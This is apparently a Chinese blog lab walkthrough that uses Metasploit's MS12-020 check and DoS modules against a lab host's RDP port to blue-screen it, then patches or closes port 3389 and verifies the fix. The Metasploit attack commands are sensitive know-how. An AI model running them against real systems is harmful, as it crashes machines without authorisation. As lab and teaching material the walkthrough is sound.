- 1Android开发笔记之主题背景的修改(设置Theme.NoTitleBar后Activity背景变成黑色)_android默认颜色 theme.material3.daynight.noactionbar
- 2代码随想录 贪心算法-中等题目-序列问题
- 3YOLO家族进化史（v1-v8）_yolov1-v8系列顺序
- 4网易云信恭祝：新春快乐，万事兴「龙」
- 5Spring的ShutDownHook和dubbo的优雅关闭_exception in thread "dubboshutdownhook" java.lang.
- 6黑客网站大全！都在这了！速看被删就没了
- 7AI 对齐、超级对齐，「对齐」的是什么？
- 8Android开发中回调方法的简单应用_android系统 framework 实现回调接口给应用调用
- 9常用日本语1000句+简单用语
- 10D455+VINS-Fusion+surfelmapping 稠密建图（一）_深度相机d455深度图 深度值尺度
ms12_020(DOS蓝屏攻击)_exploit aborted due to failure: unknown: cannot re
赞
踩
ms12_020(DOS蓝屏攻击)
1.主机发现
使用nmap扫描发现靶机开启3389端口
3389是远程桌面服务端口，ms12_020 RDP（远程桌面协议）远程代码执行漏洞
2.使用msfcosole进入msf框架
使用search ms12_020查看漏洞
auxiliary/scanner/rdp/ms12_020_check是辅助探索模块，探测靶机是否存在漏洞
auxiliary/dos/windows/rdp/ms_12_020_maxchannelids是辅助攻击模块，来攻击靶机使蓝屏
use auxiliary/scanner/rdp/ms12_020_check 使用辅助探索模块
使用show options 查看配置信息
| Name | 名字 |
| Current setting | 当前设置 |
| Required | 必填 |
| Description | 描述 |
| RHOSTS | 靶机IP（R 是remote的缩写 远程）(host 主机) |
| RPORT | 端口（R远程）（PORT端口） |
| THREADS | 线程 |
设置靶机Ip
Set RHOSTS 172.16.104.250
Run运行
| The target is vulnerable | 目标易攻击 |
| Scanned 1 of 1 host (100% complete) | 已扫描 1 台主机中的 1 台（100% 完成） |
| Auxiliary module execution completed | 辅助模块执行完成 |
发现漏洞
使用攻击模块
Use auxiliary/dos/windows/rdp/ms_12_020_maxchannelids
使用 show options
设置靶机IP
Set RHOSTS 172.16.104.250
Run运行
运行成功靶机蓝屏
修复漏洞
两种办法：
- 安装官方补丁
- 直接关闭3389端口也就是远程连接
关闭远程连接服务
漏洞修复后验证
use auxiliary/scanner/rdp/ms12_020_check 使用辅助探索模块
配置靶机IP后运行
| Cannot reliably check exploitability | 无法检查可利用性（也就是没发现漏洞） |
然后使用攻击模块
Use auxiliary/dos/windows/rdp/ms_12_020_maxchannelids
查看show options
配置靶机Ip
Set RHOSTS 172.16.104.250
运行run
| Running module against | 运行模块 |
| RDP service unreachable | 无法访问RDP服务 |
| Auxiliary module execution completed | 辅助模块执行完成 |
运行完成，靶机没有蓝屏，证明漏洞修复
